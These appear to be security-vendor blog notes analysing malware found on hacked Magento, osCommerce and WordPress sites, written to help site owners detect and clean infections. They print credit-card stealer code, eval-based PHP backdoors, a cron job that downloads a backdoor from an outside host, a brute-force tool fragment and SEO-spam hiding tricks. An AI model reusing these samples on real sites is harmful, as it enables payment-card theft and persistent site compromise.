Home Testimonials Company Support 1–888–873–0817
PRICING SUPPORT LOGIN
Home Notes Malware Signatures About

To make malicious injections look less suspicious, hackers like to use domains that look credible. It may be some typo domain like google-analystisc[.]com instead of google-analytics.com, or correct domain names under a different TLDs, e.g.: ads.googleadservices[.]at or googleads.g.doubleclick[.]cn.com.

Sometimes they hide their scripts and iframes befind shortened URL. Other times they upload malicious content to public services like Pastebin.

This time we discovered a script injection that used site's alternative domain name provided by its host for free to their clients. In this case the malicious script was placed on a hacked site hosted on a Network Solutions' server. So instead of using the real domain name, which could alert the webmaster of the hacked site when the domain gets blacklisted, hackers used its alternative 0055d7b.netsolhost[.]com address.

We found this code injected into multiple design/head/includes rows (different scopes) of the core_config_data table in the Magento database:

<script src="//0055d7b . netsolhost[.]com/Blog/lib2/js/js.js"> </script>

The script looks like coming from some Network Solutions CDN. However, it's a malicious script on a site where everything below /Blog was created by hackers (e.g. you can find a PHProxy script under Blog/lib2/ - the tool that hackers use to make anonymous requests to third-party sites, e.g. access backdoors). The js.js script itself adds extra handlers that intercept all data entered into all HTML forms on the infected Magento site and send them to a PHP script on the same Networks Solution server 0055d7b .netsolhost[.]com/Blog/lib2/js/main.php. Technically, the script is used to steal credit card and other sensitive payment details from order forms on e-commerce sites (although it can be used to steal credentials from login forms too).

Don't trust third-party content just because it uses a reputable domain name. Always doublecheck everything that you don't recognize or don't believe should be on your site. Test your database and files on server for integrity, and monitor your site for security issues.

We regularly detect malware that targets payment modules on compromised ecommerce websites, mainly on Magento.

Recently we’ve stumbled upon the same threat on osCommerce. The malicious code was found inside ./catalog/checkout_confirmation.php and used obfuscation as below:

…
eval(gzinflate(str_rot13(base64_decode('Dc9UsqJAAADQ43x/sRAQFHdJ5ByUBoTNRxMaVg0i0dPPvBu8ZYXdqfrWGGhjLkIZ/JRK5mJE5lBEnn5Dd7qA3zbFyNbzI47VvBPpQ
…
wSmhNUk33O2C+uFKeOUAGdb8UyETzPEp1nvg7hIgQB5355jGg9LQuJGxB31rYoBLc7LHDv0hwC8L3ocO4KlLduNn6ntts7EmJ1z1lZuZ4tFt4U12paYTRI+dIKnefP7+/vn38='))));
…

When decoded, the code appeared to be a credit card stealer. The code sends a copy of stolen credit card information to attacker’s email and saves it inside an image file for backup purposes. This happens every time customers submit their payment details during the checkout process:

$recipient = "<attacker’s-email-address>@gmail.com";
$subject = "www.<compromised-site>.com";
$mailheaders = "From: www.<compromised-site>.com <sales@ www.<compromised-site>.com >";
$address4 = tep_address_format($order->billing['format_id'], $order->billing, 1, ' ', '<br>');
$ip = getenv("REMOTE_ADDR");
…
$message .= "Name on card: ".$_POST['cc_owner']." CC: ".$_POST['cc_number']." Exp: ".$_POST['cc_expires_month']
         ."/".$_POST['cc_expires_year']." CVV2: ".$_POST['cc_ccv']."\n";
…
mail($recipient, $subject, $message, $mailheaders);
$f = fopen('/<path to public directory>/catalog/images/oscommerce2.gif','a');
fputs($f, $message . "\n"); fclose($f);

If you're using osCommerce as ecommerce solution, always check your core files, especially ./catalog/checkout_confirmation.php for any modified content, and do regular scans. As always, if you need a professional service for your osCommerce website, you can count on our Website AntiVirus service.

Chinese replica spam campaigns aim for large number of doorways per infected site. And quite often their doorways are static, which means hundreds of thousands created .html files.

Last year the most popular approach was creating several directories with meaningless names with 10-30 thousand doorways in each. This year we began noticing a new modification that creates only one doorway file (content.php) per directory, but the number of such spammy directories may be staggering. For example, on a site that had been compromised for at least three months (it easy to tell as the directory names are time stamps such as 20160112123901 or 20160123165028), the hackers created over 200,000 such directories.

As you might imagine, not all shared hosts may properly manage such large numbers of files. In some cases, this leads to exceeding account inode quota. Even a simple ls command may become a problem. Here's the warning that you may see on a DreamHost server when you execute the ls command in a directrory with too many spammy subdirectories.

$ ls -l | wc -l


Yikes! One of your processes (ls, pid 21519) was just killed for excessive resource usage.
Please contact DreamHost Support for details.

208897

Don't wait until hackers cause serious problems. Add security monitoring and protection to your site.

A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS' with spammy content in subdirectories of legitimate sites.

A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.

But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here's an example of a WordPress malware that does just this:

The main idea is to register a new post status:

register_post_status( 'test', array(
				'public'                    => true,
				'exclude_from_search'       => true,
				'show_in_admin_all_list'    => false,
				'show_in_admin_status_list' => false
		) );

The posts with this status are excluded from search results and from editing listings in the admin interface.

To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:

function feed_door(){
		query_posts( 'post_status=test&showposts=20' );
		require( ABSPATH . WPINC . '/feed-atom.php' );
	}

In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme's functions.php file invoked the code:

<?php add_action('init', create_function('', 
    implode("\n", array_map("base64_decode",
    unserialize(get_option("wptheme_opt")))))); ?>

Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.

Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.

Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.

You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may be because you forgot to clean your crontab.

Here's an example of a malicious cron job that creates a backdoor file in the /wp-includes/Text/Diff/Engine directory every other day:


DOWNLOAD_URL="hxxp://cpanel .jawebsolutions .com/u/w.gz"
LOCAL_FILE_PATH="/home/username/public_html/wp-includes/Text/Diff/Engine/i18n.php"
1 3 */2 * * rm -f /var/tmp/w.gz ; wget -q -O /var/tmp/w.gz $DOWNLOAD_URL && \
gunzip -c /var/tmp/w.gz > $LOCAL_FILE_PATH && touch -c -t 201007151834 \
$LOCAL_FILE_PATH && rm -f /var/tmp/w.gz

So don't forget to check cron jobs in your hosting control panel or use the crontab -l command if you have SSH access.

There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:

<script language="php">
$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).
chr(101).chr(99).chr(111).chr(100).chr(101);
e v a l($a($_REQUEST[sam]));</script>

Originally, it's a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.

The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.

While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.

A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).


<?php 
$m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95).
chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$m=$m($_REQUEST[chr(122)]);
@file_put_contents(chr(122),"<?php ".$m);
@include(chr(122));
@unlink(chr(122));

Again, originally it's all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there's no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let's see how it works without the eval:

The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.

Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.

It's quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search result pages and to give them more credibility.

Here is one example of how such fake ratings are being generated:


...
$rating = rand(3,5);
$rcount = rand(120,220);
$txt = "<div itemscope=\"\" itemtype=\"http://schema.org/Product\">\n
    <span itemprop=\"name\">$htitle</span>\n
    <div itemprop=\"aggregateRating\" itemscope=\"\"
    itemtype=\"http://schema.org/AggregateRating\">\n
    <span itemprop=\"ratingValue\">$rating-5</span> stars based on\n
    <span itemprop=\"reviewCount\">$rcount</span> reviews\n</div>\n
    </div>\n";
...

As you can see, they aim for ratings like 4-5 stars based on 133 reviews, but both the rating and the number of reviews are just random numbers in the ranges that make them look both plausible (not 5 stars always) and trustworthy (based on at least 120 reviews). Funny, this particular code allows to generate ratings like 5-5 stars ;-)

As many other things on the web, you shouldn't immediately trust anything what you see in Google's search results. Those rating stars are not a seal of quality from Google. It's just information provided by sites themselves. Moreover, when you search for cheap prescription drugs, pirated software, luxury replicas or questionable financial services, quite often such ratings in search results are fake, and results lead to doorways on hacked sites.

If your site doesn't use rich snippets on its pages, but you see them in the Search Appearance/Structured Data section of Google Search Console, this may be a sign of a hack.

It's one of many examples of SEO poisoning infections that we deal with. We literally remove Gigabytes of spammy doorways from hacked sites every day and if you need a professional help, you can always count on us.

Just a quick reminder:

  • Don't use common words and easy character combinations as passwords.
  • Your compromised site can be used to hack third-party sites.

A real world confirmation of the above two statements sometimes can be found in one script. For example in a so called Wordpress Brute Force Tool that we regularly find uploaded to compromised sites.


...
if($_POST){
	if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');
	$username = trim($_POST['username']);
	$thread = trim($_POST['threads']);
	$wordlist = array_filter(file($_POST['wordlist']));
	if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');
	$log = trim($_POST['log']);
	$urlz = array_filter(explode("\r\n", $_POST['sites']));
	foreach($urlz as $url){
		la_brute($url, $username, $wordlist, $thread, $log);
	}
}

This tool receives lists of WordPress sites and common passwords. Then it tries every login/password combination on every site and reports the combinations that worked. To improve performance, this particular tool sends requests to multiple sites at once using asynchronous Curl functions.

Having uploaded such tools to multiple compromised sites on different servers, hackers can conduct distributed brute-force attacks.

Brute-forcing is just one of the many types of distributed attacks that your compromised site may be used for. DDoS attacks and vulnerability scans also regularly leverage resources of hacked sites.

Make the Internet safer: Use strong passwords and protect your site.

The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer credit card details either via server level code or JavaScript injected into order pages.

Modifications of the app/code/core/Mage/Payment/Model/Method/Cc.php file are among the most popular. Here are some typical examples that we wrote about:

Recently we found one more modification of this malware. The code is almost identical. The main changes are the use of online services to retrieve geolocation data based on the victim IP address

$dip = json_decode(file_get_contents("http://ip-api.com/json/".$ip.""));
$country = $dip->country;

and the bank data based on the credit card number

$bin = substr($binx, 0, 6);
$getbank = json_decode(file_get_contents("http://www.binlist.net/json/".$bin.""));
$ccbrand = $getbank->brand;
$ccbank = $getbank->bank;
$cctype = $getbank->card_type;

plus the new remote address where they send the stolen data to: hxxps://www.herdamultimedia[.]com/resulta.php, which seems to also be a hacked site.

The most interesting thing about this malware is that not only did it inject the malicious code into Cc.php but also encrypted the whole file content so that it looks like one long line of code:

<?php /* Mr-GanDrunX - Hiddenymouz - HiddenCode */ error_reporting(0); define('__LOCALFILE__',__FILE__); goto HIDDEN; function gandrunx(){ preg_replace("/.*/e",strrev("\x3B\x29\x29\x29'=Q..... 

This encryption is mainly used by Indonesian hackers.

Why did they encrypt the file? Probably to avoid detection when people search for the malware patterns that we reported before. However, it's actually not a very bright idea. Many malware scanners will detect the suspicious encryption anyway. Plus it is very easy to find it if you compare files to the canonical Magento files.

If you see modified core Magento files don't try to identify and remove the malicious code - just replace them with the original ones. And don't forget to update/patch Magento, check if there are any malicious administrator users and scan your server for backdoors that hackers might left there. Or let Sucuri take care of your site

We've seen lots of JavaScript tricks that hide injected spam from human visitors while making it look "visible" for search engines.

The most popular approach is applying the display:none style to a spam block like here:


<div id="tesi"><strong style="font-weight: 400">
...SPAMMY CONTENT HERE...
</div><script>document.getElementById("t"+"e"+"s"+"i").style.display='none';</script>	

Here you can see a div block with id tesi, followed by a JavaScript that makes the element tesi invisible.

This looks obvious when you see it but may be not as obvious to search engine bots that need to figure out how the JavaScript code affects visibility of a particular content. To make thing even more difficult, the element id in the script is slightly obfuscated "t"+"e"+"s"+"i" and you really need to execute the code to identify the element it works with.

A more interesting obfuscation is used in the __e_accelerate campaign that we wrote about last week. The injected content consist of multiple blocks like this:


<script language="JavaScript">vouhihni='bumnajmi';imppkmat="none";</script>
<blockquote id="bumnajmi">...SPAMMY CONTENT HERE...</blockquote>

At first glance, the JavaScript code does't make any sence. Although we can see the id of the spam block there bumnajmi and the imppkmat="none"; part implies that it hides something. But we don't see what makes the bumnajmi element hidden.

The answer lies in the trailing JavaScript block:


<script language="JavaScript">sucoy=document.getElementById(vouhihni); sucoy.style.display=imppkmat;</script>

This block glues the parts of the first block together. The first variable is used to select a DOM element. And the second variable is used to make the selected element invisible.

While this trick may fool some search engines into indexing the spammy content while keeping the spam invisble to human visitors, it's still not a problem for website security scanners like our SiteCheck that see and report the spam.